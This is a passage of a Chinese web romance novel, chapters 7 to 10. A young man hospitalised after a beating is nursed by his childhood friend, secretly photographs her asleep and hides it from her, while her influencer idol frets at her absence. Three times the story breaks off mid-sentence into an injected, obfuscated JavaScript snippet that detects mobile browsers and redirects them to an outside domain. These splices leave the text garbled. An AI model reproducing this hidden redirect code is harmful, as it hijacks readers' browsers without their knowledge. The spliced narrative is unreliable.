但终究,他不是虞千绾,不知道她究竟此刻在想什么,更多的还是被情绪裹挟的窘迫。 商恪景默默将胳膊朝身侧并紧,防止虞千绾从侧面能瞧见他胸前的凸点,该是没露出什么的,但耳根就是控制不住地烧起热腾。 “现在头还晕吗?” 医生询问情况,商恪景摁下心里乱飘的思绪,面上佯装正常的回答:“还有一点,但没凌晨那么晕了,现在的晕更像是没睡好的感觉。” 医生又问了几个问题,商恪景一一回答。 医生查看完商恪景的体温记录表,具有安抚性的笑着说他年纪轻身体各方面都挺好的,后续记得按时吃药、不要剧烈运动就好,扭头跟虞千绾叮嘱些需要注意的事项和忌口的食物便离开去查下个病房了。 医生护士好几人一同离开,起起伏伏的话声骤停,陡然的寂静让商恪景感到别扭,他第一时间将手朝后曲过,想将被子再往上拉拉,遮挡更多——医生检查完后虽然给他重新盖上了被子,但盖得不严实,三分之一的后背都露在外面,商恪景没法这么衣衫不整的跟虞千绾待在同一空间里。 “商恪景,医生刚说完你又乱动!” 就站在商恪景身后床边的虞千绾顿时弯下腰,身形向前去按下他刚触到被角的手。 商恪景呼吸一窒。 身后虞千绾担心的念叨还在继续,“你知不知道你绷带上有血?医生刚刚都让你别动别动了,你冷的话跟我说啊,我给你盖被子。” 夏季的天,空调温度打得低,虞千绾见他要往上拉被子,想当然地认为他是冷。毕竟他俩什么关系啊,家里还有他们穿着纸尿裤的合照呢,他们还时不时一块去游泳,她压根没想到那层。 虞千绾的头发很长,一头乌发就简单垂在背后,发丝随着她倾身的动作越过肩头悬在身前,发尾悄然覆落在商恪景肩颈那片裸露的皮肤上泛起一阵酥酥麻麻,那痒意似有穿破皮肉的能力,搅得商恪景心河都一片荡漾,激起阵阵波澜,使得屏息中的他没绷住破了功,不自觉深吸了一下,充斥着消毒水味的空气都仿佛有了些甜津。 始作俑者却浑然不知,仔仔细细给他盖好被子。 发尾卷起的痒意和背后传来的淡淡馨香一同撤去,商恪景不长记性地偏首朝后去看她。 寻觅她的身影已然在日复一日年复一年中成为他近乎本能的下意识动作,难以扼制。 但这次,商恪景看到的不再是虞千绾的背影,而是她同样凝回的眸。 刚让他别动的虞千绾瞧见这幕气得无语,横他一眼,食指直接隔空凶巴巴指他,“商恪景你这人怎么一而再再而三的!再这样你疼死得了,完全不遵医嘱的。” “哪就那么严重。” 商恪景嘴上这么说,身体却很老实地趴了下去不再动,唇角疯狂上扬。 见到虞千绾从床尾绕过来,商恪景当即抿住唇,努力抑住笑,但荡漾的神情根本绷不住,虞千绾搞不懂他都成这样了怎么还一副挺高兴的样,无语至极地又给了他一个眼刀,殊不知她越如此某人越感觉到被关心被管控的爽。 商恪景唇角压了又压,最后还是微微翘着问出的话,“你怎么在这?什么时候来的?” “差不多七点半吧。” 虞千绾拖出挨墙放置的椅子放在床边,正对着商恪景而坐,“知珩哥昨晚给我发的消息,说他早上得去工作没法陪着你。” 提到商知珩,虞千绾脑内一惊,突然想到什么,立即转身拉开床头柜的抽屉寻找药,“对了,你还没吃药吧,知珩哥跟我说了你的每种药吃几粒,里面好像有止疼的,你刚刚不是跟医生说伤口还是疼嘛,你吃完再补觉应该能睡得踏实些。” 抽屉里有好几种药,谨慎起见,虞千绾从口袋里掏出手机点开和商知珩的聊天记录查看,依着他发的消息认真从药板里抠出规定剂量的胶囊放在掌心。 商恪景目不转睛看着她,眸光柔和了许多,昨晚还空荡寂寥的心口被塞得满满当当,就连一粒粒胶囊顶破药板的清脆声传入耳中都格外好听。 虞千绾还特意带了根吸管来插入杯里,这样就不用商恪景费劲撑起身喝水,趴着也能喝。 她一手拿着药,一手拿着水杯,先将吸管递到商恪景唇边,“你喝几口润润嗓再吃药。” 商恪景听话启唇,依着照做,连吞了三大口白水,最后含了一小口在嘴里方便带药吞下。 “你一次能喝下去几颗药?” 虞千绾话音刚落又想起商恪景嘴巴里有水不能说话,自顾自地答:“还是一颗一颗吃吧。” 跟着,一粒胶囊抵到商恪景唇前,与之一起袭来的,还有淡淡的樱花香。 虞千绾有涂护手霜的习惯,她最近在用的那支护手霜就是樱花味的。 商恪景眼睛怔大了一瞬,心跳不自觉砰砰。 他没想到虞千绾会照顾到这种程度,居然连药都亲自喂。虽然他也知道,在虞千绾的眼里不过是正常照顾手一动就会扯着背伤的好朋友罢了,不同于对待有好感异性的那种亲近,但在这一刻,商恪景心墙在疯狂塌陷。 “怎么不张嘴吃药?不舒服吗?” 商恪景如梦初醒,紧急垂眸不敢再和她对视,匆匆从她指间衔过胶囊吞下,“——没。” 虞千绾转而将吸管又送过来,商恪景再含住一小口,再吃胶囊,如此重复。 到最后一粒药时,不知是虞千绾的手多往前送了一小截还是商恪景的唇多朝前迎了些,总归做了漂亮精致美甲的素指和柔软湿热的唇瓣有了短暂的触碰。 两人谁都没说,一个是没太在意,一个是太在意。 做完这项任务,虞千绾将药重新放回抽屉里,边放边有些忐忑地问他:“我听知珩哥说,你这是商爷爷打的……该不会是因为我昨天建议你跟他吃饭后聊聊,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,医生来检查过了,说没什么异常,就是得熬时间慢慢养。” “你今天要一直在那陪着吗?他家里人有在吗?” “对,我得一直在这等到他哥哥傍晚下班来替我。他爸妈中午会来,他们昨晚都睡得迟,这会儿都在家里补觉,正好等到中午家里阿姨煲好汤他们一起带来。” “那你——” 常桦那边欲言又止了一霎,虞千绾忙问:“怎么了学长?” “如果中午他爸妈来的早些,他身边有人照顾,你还来我这吗?” 虞千绾有些犹豫,一时间不知该怎么回。 脑子里就好像有两个小人,一个告诉她,父母的陪伴归父母,朋友归朋友,而且商恪景昨天刚跟家里人闹了别扭,她在的话说不准能缓解氛围,万一她走了以后商爷爷来了怎么办,他们俩会不会又起矛盾;另个小人却又在说,可是学长在等你诶,他的声音听起来好可怜啊,你不也很想见他吗?商恪景身边有他爸妈照顾就可以了。 恰在此时——“嘶,虞千绾!” 躺在床上的商恪景突然低叫了声。 来不及顾念其他,虞千绾急遽朝他走近,“怎么了?” 也顾不得手上的电话,立即跟那头的常桦说:“对不起啊学长,今天我可能去不了了,我朋友下不了床,身边还是不能离了人。等下次,下次一定!” 话落,常桦还没来及回话,通话就被截断,只余机械的嘟嘟音,他刚吐出一个音节的唇顿住,隐隐感觉到有什么在脱控。 虞千绾将手机顺势撂在床头柜上,低头去查看商恪景的情况。 “我好像抽着筋了,肩膀突然好疼。” “哪里?这里吗?” 虞千绾连忙掀开些被子,避开他背上那些青紫的抽痕和纱布,小心翼翼按了按他的肩膀。 “左边一点。” “再下面一点。” “嘶——对,就是那。” 嘴上表现出痛苦的商恪景表情却没太多的痛苦,一开始倒是装得很痛苦,后来他发现把脸埋在枕头里虞千绾瞧不见就不装了,何况她注意力都在他后背上。 头一次在和常桦的PK中取胜,商恪景像是赢了一场天大的胜仗。 手段不太光彩又怎样,赢就是赢,反正她今天一天都会在他身边。 8. 第 8 章 隔壁市,宁山脚下。 参与环保活动的志愿者们按着规定时间集合,当地负责人正在对着名单挨个点到确认。 比起另外几家网红粉丝的线下队伍,常桦这边的队伍略显出些群龙无首的茫然失措。 只因曾经每一次线下都有虞千绾的组织,吃的喝的、应援物这类她都会准备好,就连卫生巾、医药箱这些小概率可能会被需要的物什她也会备好以防万一,她希望每一个因为喜欢常桦而来的粉丝都可以在线下不留任何遗憾,开开心心地来,开开心心地走。 久而久之,常桦粉丝内部几乎都知道自家有个超级厉害的大粉,全平台网络ID为【千万万万】,粉丝亲昵称呼为“有钱姐。” 往日虞千绾虽然也有因为上课考试没法及时来参加线下活动的情况,但都会提前至少一周联系别的粉丝,委托好相关事宜,大家心里都有些数。 今日不同,虞千绾是突然有急事不来的,临时将事情托付给另外两个线上较为活跃线下也常来参加活动的粉丝,她们虽说之前也经常帮衬着虞千绾打下手,但冷不丁要自己上阵对接一切还是有些紧张,幸而该准备的东西虞千绾都提前准备好了,两个帮忙的粉丝虽然有些慌慌忙忙,但还算按部就班的进行了下去。 另边的休息室内,受邀参加的四位网红正在其中和对接的工作人员做开始前的最后一次工作交涉。 一切确认无误后,工作人员领着四人朝集合处去。 常桦点开手机屏幕看了眼依旧没有动静的微信,浅浅吁出口烦闷的浊气。 其余三个网红里有一位叫祁乐志的,他跟常桦算不得太熟,但也曾经在几个活动现场有过接触,聊过几句,加过联系方式。不过在一个新环境里,这样的接触已然算是娴熟,而且另外两个网红很熟,他们插不进去话,所以他们两人自然而然走得近些搭个伴。 就快要行至志愿者处,祁乐志没耐住好奇和八卦的心思问常桦:“哎,你家那个‘有钱姐’是不是真像网上说的那样是嘉澍集团的小公主啊?她今天来了吗?” 前些日子虞千绾在自家集团官号上发的视频小爆了一番后身份信息都被曝光了出来,常桦站姐的身份自然也没能隐藏住,毕竟她一直在参加线下活动,只要来参加常桦活动的粉丝都能见到她。 但因为常桦太糊,营销号搬运的时候大多是以虞千绾给小网红当了多年榜一大姐这种话术去说,常桦的名字都没出现过几次。不了解网红圈的路人感慨一下虞千绾的豪掷千金也就结束,网红圈内的人却是了解的明明白白,尤其和常桦差不多类型的网红,私底下换小号不知道研究了常桦多久,就希望学到精髓吸引虞千绾的注意力,他们也不指望虞千绾能转成他家氪金大姐,但说白了,虞千绾手指缝里随便漏一点的钱都够他们辛苦直播很久了。 常桦不是不知道最近有人在学他的拍照角度和拍摄运镜,也不是不知道有些男网红会背地里偷偷给虞千绾发私信,甚至有些网红的受众想给自家拉有财力的大姐方便日后直播时候打PK,直接在自家网红的评论区里@虞千绾来看,试图把自己支持的网红安利给她。 自然,常桦也没忽视掉祁乐志问出这话时另外两个突然投来视线的网红,他们显然也对这个话题很感兴趣,眼神一对就笑呵呵地靠近,也开始搭腔,“你们俩前段时间真的好火啊,我是不知道什么时候才有这样的大姐守护了,羡慕啊。” “真的假的,她今天也来了吗?这么热的天,她作为嘉澍集团的小女儿应该是娇生惯养的吧?这要是都情愿来的话,那真的对你是真爱了。” 常桦这段时间收到不少明里暗里跟他打探虞千绾的消息,他虽心里不快又不好在明面上直白地说。而且对于虞千绾,他从来都是很有自信的。 独独今日…… 她缺席了,第一次缺席。 还是为了一个男人。 常桦的嘴唇几不可察地轻抿了下,而后面上不显的依旧顶着那张看似无比温柔和煦的俊脸浅笑着回:“她今天有事,没来。” 后靠过来的两个网红登时对视一眼,表情都有些微妙,微微上勾的唇角透着明显的暗喜。 其中一位戴眼镜的名叫方兴怀,他抬手就拍了拍常桦的肩膀,说话架势变了许多,由一开始的谄媚变得自如,反倒有几分劝告的意思,“也正常,毕竟这个鬼天气咱们要不是为了钱和曝光度也没几个愿意出来的,她那种有钱人肯定更不情愿了。只要不耽误以后继续给你砸钱,来不来线下的都是小事。” 常桦笑容淡了些,但依旧保持着儒雅的笑,没再说什么。 很快,网红和志愿者们集合,四人分开站在了各自的粉丝队伍前和粉丝说话、合照,趁机稳固粉丝黏性。 直到负责人的声音从喇叭里传出,说是可以进山了,大家才止住声,跟随着朝里进。 起初刚进山,大家都有力气且不太相熟,干得都很卖力,随着时间的流逝和渐渐升起的太阳的暴晒,大家都开始有些想犯懒,也跟周边的人都混熟些,话匣子都打开。 常桦听到的话题几乎都是围绕着虞千绾展开的—— “咱家那个‘有钱姐’是哪位呀?我好好奇啊!” “‘有钱姐’来了吗?” “我是第一次参加线下,你们有谁之前见过‘有钱姐’吗?她跟网上曝光的那个嘉澍集团女儿真的是一个人吗?!第一次感觉和有钱人离得这么近,好梦幻。” “救命,好遗憾,怎么我来了她却不在啊,好好奇真正的有钱人是什么样的。” “啊……她没来啊,之前每一次常桦的线下活动她不是都来的吗?该不会是不打算再粉常桦了吧?” “不是啦,‘有钱姐’家里临时有急事,她在群里说啦,绝对没有脱粉,而且咱们今天统一发的水、遮阳帽、防晒喷雾都是她提前买好的。” “哇,果然是‘有钱姐’!人不在,钱依旧花的大方!” “可不嘛,每次线下都是咱家过得最舒服了,‘有钱姐’超级体贴大方的,她之前还送过我香水和口红!都是大牌。” “那我下次一定也要来贴贴富婆姐姐!” 不仅自家粉丝内部,常桦还注意到好几个别家的粉丝凑过来询问:“您好呀~我想请问一下你家那个超厉害的站姐来了吗?在哪里呀?想仰慕一下!” 从前虞千绾在身边的时候,常桦没感觉到她竟然如此重要,甚至觉得她总绕在身边叽叽喳喳的很烦,还总会有些莫名的烂好心给他添了不少事,巴不得她能少说点话、少发些消息。 当下她真不在了,常桦却感觉到前所未有的局促,他一直都不会维系和粉丝之间的关系,不如别的网红那般能跟粉丝打成一团又保持着恰当的分寸,每次线下全靠虞千绾在中间做桥,而今只能生硬的找着话题跟粉丝说几句有的没的,话题总是没一会儿就结束。 当然,这不是常桦最在意的,他最怕的是,虞千绾以后都不来了,人不来,钱和物资也不给了。 习惯了被她追着捧着,冷不丁位置隐有互调,常桦不适极了,自尊心依旧在作祟,拉不下脸去向她示好太多。 酝酿良久,只是拍了张宁山的风景照发给她。 - 时至正午。 商恪景补好了觉,惺忪着眯开眼。 尚没适应受伤的事,商恪景下意识想动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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意识在脑海划过的瞬间,商恪景眼睫忽地快速眨动了几下,眸光晦暗了些,唇和喉咙顿觉干涩。 虞千绾睡得熟,全然不知商恪景目不转睛盯着她看了好久、好久。 想永久的定格下来这一刻,商恪景贪心摸过床头柜上的手机,点开相机,镜头对准虞千绾粉面朱唇的面颊。 虽然知道她在睡,但商恪景动作间还是很小心翼翼,几度伸出手机又缩回,呼吸都濒临停滞,生怕她猛然睁开眼抓到他隐藏多年的小心思。 商恪景检查了好几遍手机,确定手机调了静音不会发出拍照声才又将虞千绾的脸拢到手机屏幕内。 轻却迅速的,商恪景指腹在拍照键上连点了好几下,但因为两张床之间有着好一截空隙,他只能靠着放大画面才能让她充满在画面里。 贪心不足,虞千绾又一直睡着没醒的意思,商恪景胆子逐渐大起来,他想近点、再近点拍下她的照片,举着手机的胳膊一点点探出床沿。 “咔哒——” 病房门猝不及防的一声响,商恪景眉心一颤,忙不迭就要收回手机,但动作太急促扯着背伤,商恪景胳膊不知怎的突然就脱了力,手机瞬间从指间脱离,径直砸到地面发出“砰”的一声响。 商恪景眼睁睁看着满屏都是虞千绾睡颜的手机就这么在地面上被摔得弹起了个小弧度,然后倒扣摔平在地面上。 只要谁拿起,就能看到其上的虞千绾。 熟睡中的虞千绾被这动静惊醒,倏地睁开了眼,意识还处于迷糊之中,身体已然迅速弹起掀开被子,“怎么了?” 商恪景喉咙像被扼住,发不出声来,刚刚的大胆在对上她的眼睛后消失无踪,呼吸彻底屏住了。 9. 第 9 章 手机就掉在折叠床下面,距离虞千绾格外近,她弯腰就能拾到,但又偏偏置于她的视线死角,她看不到。商恪景倒是能看到,但却是他趴在床上完全够不着的位置。 “什么东西掉了吗?” 虞千绾睡眼惺忪着往四周查看,试图寻找到掉落的物什帮他拾起,但视线所及之处并没有。 商恪景一声不吭的傻愣在那,惹得虞千绾都有些怀疑自己,复问遍:“哎,商恪景,刚刚是不是有什么东西掉了?不是我在做梦吧?” 商恪景嘴唇翕动,但没说出话,他不知该说什么,也不敢答,生怕说多错多惹得她发现床下的手机,届时,她就会看到屏幕中熟睡的自己。 商恪景不敢想象那一幕,含糊支吾了句:“没掉东西,就是我手刚刚不小心磕着床边了。” 虞千绾眉头不知为何地皱了下,她启唇似乎想要说什么。 但门口传来动静,吸引去了她的注意力。 是商恪景爸妈来了。 商妈桑元蔚先进病房,瞧见虞千绾正坐在小床上,头发微微凌乱的炸着毛,眼神也有些迷糊,声音登时轻了许多,“千绾睡午觉呢?是不是我们来吵着你了?” “桑阿姨,商叔叔。”虞千绾先朝两位长辈笑着礼貌唤了声,未完全醒神的声音掺着些鼻音,“没,正好也该醒了。” 折叠床展开有些阻隔道路,横在门口和商恪景的病床中间,虞千绾挠了挠还有些昏涨的脑袋,慢吞吞侧过身子坐在床沿开始穿鞋,起身,叠被放入柜子,准备收起折叠床。 她的每一次动作,每一次弯腰都会惹得商恪景心脏骤停,但每一次又都有惊无险地揭过。 可若是折叠床被收起,那手机绝对无所遁形,会完完全全暴露出来。 商恪景无法再沉默,不得不硬着头皮喊了声:“虞千绾。” 阻止了虞千绾刚碰到折叠床尾的动作。 “怎么了?” 虞千绾扭头看他。 在桌上摆放午餐的桑元蔚和商承嗣也一同投来视线。 “过来。” 商恪景声音因心虚气短压得很低,手上动作却带着急促地朝她招了几下,“快点。” 虞千绾不明所以,但顺从地直起身走过去,弯下腰,侧耳听他的话。 商恪景心绪惴惴地胡诌,“你有眼屎,快去洗手间收拾一下吧。” “啊,救命。” 虞千绾顿时尴尬举起双手捂住自己的脸,拇指和食指分别搭在眼头和眼尾往上的部位,指间露出些视野让她看清道路,忙不迭转身就去了洗手间清洁面部。 洗手间的门被关上的一瞬间,商恪景声音登时扬起不少,但也没好到哪去,一副做贼样,偷感极重,“妈,妈!” 他边喊,眼睛还边往洗手间的方向瞟,生怕虞千绾发现他的谎话后杀回来。 桑元蔚一头雾水走过来,但担心一夜的忧虑散去不少,“我瞧你精神状态挺好,跟你哥说的一点都不一样。” 商恪景完全没时间回应妈妈,争分夺秒拉住她胳膊就往折叠床下指,“快!妈,帮我把我手机拿出来,掉到下面去了。” “哎哟,你慢点。” 桑元蔚瞧着商恪景这突然抬起的手就心一颤,当即扶稳了他的胳膊,怕他扯着背伤。 商恪景伤口已经没再往外渗血了,但纱布是昨晚来医院时候包扎的,彼时伤口虽然经过处理,可刚伤没多久,免不得还是会往外流些血,现在凝在纱布上干涸,视觉上看着一片白一片红的还是有些让人心悸,尤其还是最关心的家人。 商恪景这个当事人却无暇顾及,精神紧绷着,很怕听到洗手间门从内打开的声音,“妈,你快去帮我拿。” 桑元蔚低下头,歪着身往商恪景指的方向看了看,发现下面的手机,迈脚上前去帮他拿。 商恪景看得一口气差点没上来,只因桑女士不急不慢的,她不是到折叠床旁边蹲下身直接拿过手机递回,而是半弯着身在床尾研究了一番,弄懂了折叠床是怎么折回去的,认认真真将折叠床恢复原貌,才弯腰去拾完全暴露在众人视线里的手机。 这一会儿的时间里,商恪景不知催了多少遍,不明真相的桑元蔚不改动作,倒反问他急什么,收好折叠床不就拿手机了吗? 商恪景哪里好意思把真相宣之于口,只说自己无聊,想玩。 桑元蔚一听,更不急着把手机给商恪景了,让他少玩点手机,多注意休息。 商恪景心急如火烧,嘴上却不得不闭紧,他感觉他越和妈妈说话,她的动作越慢。 终于,桑元蔚收好了折叠床,她的手摸到手机的瞬间。 “咔哒——” 洗手间的门也被从内打开,虞千绾将要出来。 商恪景心都要跳出来,忍不住又低声催促起来,“妈,你快点。” 桑元蔚啧了他一声,意思让他别催。 拿起手机的那刻,桑元蔚下意识翻过手机,想查看手机屏幕有没有被摔裂。 “妈——” 心意完全暴露,商恪景的声音明显尖了些。 看到手机屏幕里虞千绾睡颜照的桑元蔚总算懂了自家儿子的反常,无语又恼火地瞪了他眼,但瞧见儿子眼睛瞄着虞千绾的慌乱样,第一时间还是摁灭了手机屏幕帮他隐瞒。 手机重新回到身边,商恪景悬着的心也一同落下,他忙不迭将手机拢到身前,深深呼了口气。 桑元蔚坐在床沿,抬手就揪住商恪景耳朵,稍稍用劲一拧,恨铁不成钢地俯耳故意阴阳他,“你不是说你不喜欢吗?不喜欢偷拍人家干什么?” “妈你小声点。” 商恪景草木皆兵得厉害,声音低得都趋近于气音,但看着桑元蔚一副不告诉真相不罢休的模样,他只得更轻更轻地说:“……我从来都没说过不喜欢。” 他只是说,他们不可能,也没法结婚,抑或没有双向喜欢这类刁钻字眼掩饰自己的心动。 桑元蔚看着儿子丧眉搭眼的模样,心头又升起些心疼无奈,揪着耳朵的手逐渐松了劲,转而移到他头上摸了摸,“行了,先吃饭吧。” 什么都不知道的虞千绾从洗手间出来就去桌子旁帮商承嗣一起弄饭菜了,因为是四个人吃,所以他们从家带了不少菜过来,挨个摆放出来还挺费劲。 他们两家人都挺喜辣,虞千绾和商恪景尤其,两家人每每在一起吃饭就商知珩和年纪小的小橙子较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223409|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为特殊不能吃辣,但今天他俩不在,所以带来的大多菜都很辣,只有商恪景这个需要忌口的病患吃的清淡。 若是单独一个人吃清淡些也就罢了,虽不适应,但想着养伤也能忍忍。可此刻,周边的辣香味一个劲地往鼻腔里钻,商恪景痛苦的啊了声,越发觉得嘴里刚喝入的清炖鸽子汤寡淡无味。 商承嗣用勺子又盛出一小勺鸽子汤放温,然后喂到商恪景嘴边,商恪景连喝好几口后别开脸,不情愿喝了,“没味……” 虞千绾故意端着碗去商恪景面前晃悠了一圈,以报她之前拔智齿必须忌口某人也这么对她之仇。 商恪景很没骨气的朝她张了张嘴,“给我吃一口呗。” 其实他知道虞千绾不可能给他吃,他也不能吃,但就是有事没事的想跟她说话,跟她有互动。 未成想虞千绾还真从碗里夹了块裹满辣油的肉递了过来,跟哄小橙子吃饭似的微张嘴巴,“啊……” 商恪景配合张嘴,枕在枕头上的脑袋不自觉也跟着微微抬起些。 虞千绾虚晃一枪,将肉片送到商恪景面前又倏地收回,整块塞入自己口中当着他面享受地咀嚼着。 他就知道。 商恪景故作凶恼地喊了她声:“虞千绾!” 虞千绾却觉自己恶作剧得逞,笑得不亦乐乎,“谁让你之前在我拔智齿的时候吃麻辣烫。” “你左边那两颗智齿还没拔。” “你别想威胁我,我这两颗智齿长得超级正!医生说不用拔。” “医生是这么说的吗?他明明说,如果不发炎可以不拔。” “你别诅咒我,我必不可能再拔一次。” 虞千绾的智齿长得很好,完全露出,没有藏在肉下,拔牙的时候也就打麻药的时候疼一下,拔牙期间没太多感觉,麻药劲过后虽隐隐作痛,但尚在能忍的范围内。 对爱吃辣的人来说,最致命的点在于没拆线前的忌口期,饮食必须清淡。 虞千绾拔牙的时候没哭,一周没吃到辣的时候却馋得想哭,嘴巴里一点味道都没有,这样的体验她可不想再有第二次。 虞千绾跟商恪景在这你一句我一句的斗嘴,坐在儿子背后完全被忽略的商承嗣无奈朝妻子一笑。 桑元蔚朝他招了招手,“先回来吃吧,我瞧着他现在不饿,等咱们吃完再去喂他,正好把汤放凉些。” 话虽如此,但见到丈夫的吃饭速度,桑元蔚又小声补充句:“你吃慢些,让千绾先吃完。” 商承嗣反应了下,听着耳边还在叽叽喳喳讲话的两人,瞬间懂了妻子的意思,眸中蓄上些儒雅笑意点了点头。 虞千绾全然没觉察到叔叔阿姨的小套路,率先吃完饭便主动去给商恪景喂饭。 刚刚对待商承嗣爱答不理,吃一口饭念叨好几句的商恪景这时候倒是安静了不少,虽然还是会咕哝说没味道不好吃,但一见虞千绾横来一眼就老实地张大嘴巴去吃下一口,生怕她不继续喂了。 大抵是因为受伤,商恪景感觉虞千绾对他的态度温和许多,喂饭动作也都轻轻缓缓的,稍不注意有汤液从唇角滑下,她立即就用纸巾轻轻为他沾去,身形会在那瞬间忽地压下靠近他,袭来阵阵馨香。 10. 第 10 章 傍晚,商知珩下班来到医院,虞千绾这才放心离开。明天一早有节早八课程,她还得赶回学校外的住处。 商恪景当晚虽也办理了出院手续回家休养,但短期内没法下床自如走动,便用手机给辅导员发了消息请假一段时间,假条由虞千绾明天去学校为他补上。 觉没睡好,虞千绾回家的车程中哈欠连天,脑袋嗡嗡的发胀,跟常桦聊完一个话题后就将手机息屏,昏昏欲睡地仰靠在座椅靠背上闭上了眼。 一个暑假晚睡晚起的她昨天还在担心明天冷不丁早起赶早八会不会猝死,没成想商恪景受伤的事突发。她现在只想倒头就睡,完全不用担心晚上睡不着早上起不来的问题,倒也算给了她个缓冲,明天不至于太难受。 半梦半醒间,虞千绾感觉到车速放缓,似有所感地眯开眼,果不其然,窗外已是熟悉的校外小区。 不得不坐起些身,虞千绾打着哈欠拿好自己的东西,将包包挎到身上。 车停在居住的8栋前,司机下车为虞千绾打开后座车门。 虞千绾困得恍惚,脚底严实踩到地面的那一秒略有些打软,但也就一霎,声音亦因困倦噙上些鼻音,透着微微的闷涩,“李叔,我明早有课,麻烦您七点在楼下等我。” “哎好。” 司机点头应声。 虞千绾转身进到8栋,司机却没立刻离开,时不时仰头瞧瞧,直到瞧见15层亮起灯光才安心驾车离去。 在玄关处换鞋时,虞千绾分别给家里人、商恪景发消息报了个到家的平安便丢了手机去拿衣服洗澡,洗完沾床就眠。 因为睡得早,虞千绾次日倒是比闹钟还早些睁开眼,悠闲洗漱吃早饭还化了个美美的全妆。 抱着书本踏出家门,视线免不得滑过隔壁那扇紧闭着的门,虞千绾步伐不适应地顿了下。 高考之前,虞千绾就跟爸妈谈好了不想出国留学的事,她成绩优异,加之是本地户口,考上京大基本是板上钉钉的事。爸妈便提前给她在京大外买好了方便大学四年居住的房子,虞千绾去看过,装修风格是她喜欢的,各项措施也很好,尤其安保,适合女孩子独居,但就是距离京大有些远,车程不短,如果住在这,每天得早起不少时间,虞千绾哪里起得来,早八都要了她半条命。 虞千绾爸妈自也考虑过这个问题,但是没办法,这里已经是距离京大最近且较为高档的小区了,如果再近的话就没有一梯一户的了,物业、安保这方面也都一般,他们不放心让女儿独居在那。 最后还是虞千绾和商恪景一起商量着去学校最近的小区寻找房源,正好有两套邻挨着的房屋在出租,他们俩便跟家里人商量后租下。 有个相熟且放心的男生住在身边,虞千绾爸妈这才放她住到当下的小区,否则虞千绾的大学四年不知要少睡多少觉。 虞千绾跟商恪景虽然不是同班同学,但是一个专业的,大多课程都是在同个教室上的,日常同进同出。 出门上课前,商恪景的家门总是大敞着,方便虞千绾收拾好自己直接进来喊他走。 有些时候,他则直接来叩虞千绾家门,坐在她家沙发上等她。 几乎日日如此。 冷不丁少了他的身影,虞千绾惆怅叹了声,默默将怀里抱着的书本拢得更紧往前行,心里头感觉有些孤单,他是她的一切搭子,什么饭搭子、聊天搭子、上下学同路搭子、旅游搭子、运动搭子…… 他一走,她什么搭子都没了。 虞千绾一直都知道商恪景是她最好的朋友。 他们俩自幼相识,性格也很多地方相仿,譬如交友这点,在友情上也很有占有欲的他们都更倾向于一对一的关系,虽然嘴上没明确说过,心里也没这么深想过,但举措是这么做的。身边只要有一个关系很好的朋友,他们就不太会去接触新朋友,就算接触了新朋友,但也不会是很近很近的关系,有什么事情什么话还是第一时间找关系最好的对方分享。 但今天,商恪景没在,且可能持续好一段时间都不在,虞千绾才更切实地体会到商恪景这个最最最好的朋友在她的生活里有多重要。 “滴——” 电梯到达声响起的同时,虞千绾手机屏幕忽亮。 虞千绾进到电梯里,按了个一楼,电梯门缓缓合上,她这才举起手机查看。 手机面部自动解锁,虞千绾看到了微信的logo,随之点进微信。 但电梯里信号不好,微信主页面一个劲的转圈圈,就是弹不出新消息。 虞千绾郁郁下滑着页面刷新,结果并没什么效果,圈圈依旧转得欢快,看得人心烦。 电梯行至一楼。 虞千绾踏出,走了两步,圈圈终于没再转,一个清晰的小红点映入眼帘。 前头缀着的备注也一如她所念——【商恪景】 刚还有些郁结无聊的虞千绾顿时精神一震,迅速点入查看。 [干嘛呢?] [起床没?别睡过了] [揉捏脑袋.gif] 虞千绾长按第二条消息,引用回复:[小瞧谁呢?本宫已经下楼了!] 回完此条,虞千绾还顺手拍了张眼前的照片给他证明自己说的是真的。 商恪景:[稀奇] 虞千绾回了个不屑哼哼的傲娇表情包。 王叔已经开车等在楼下了,两人笑着打了个招呼,虞千绾上车后继续和商恪景聊:[你才稀奇,不是请好假了吗,怎么不睡懒觉,这个点居然醒了] 商恪景:[昨天睡多了] 虞千绾:[今天感觉怎么样?伤口好点吗?] 商恪景顺势卖惨:[不行啊,疼的更厉害了,不然你再过来慰问慰问我?正好给我带点好吃好喝的] 虞千绾一眼看破:[少装,而且我今天确实没空,我姐让我下课去嘉澍一趟,有工作的事跟我说] 商恪景:[?] 商恪景:[陌生] 虞千绾:[我这是为了我的美好未来,我这账号要是做成了,以后都不用朝九晚五去坐班了] 商恪景:[但你不感觉你现在投入的时间更多了吗?依着之前的约定,现在不是你休息放假的时候吗?还是昭音姐有手段啊,一点一点把某人套住,某人却浑然不知] 虞千绾瞳孔地震,猛地反应过来。 对啊,她之前那条视频那么多点赞量,现在是她休息的时间啊。 但如果真隔几个月以后再去经营账号,以现在网络更迭的速度,她的热度早没了,谁知道还能不能再做出十万加的视频。 可她现在都这么想的话,以后账号开始经营积累了粉丝更不敢轻易长时间不更新了。 虞千绾大梦初醒,单手扶额,她好像真上了姐姐的套。 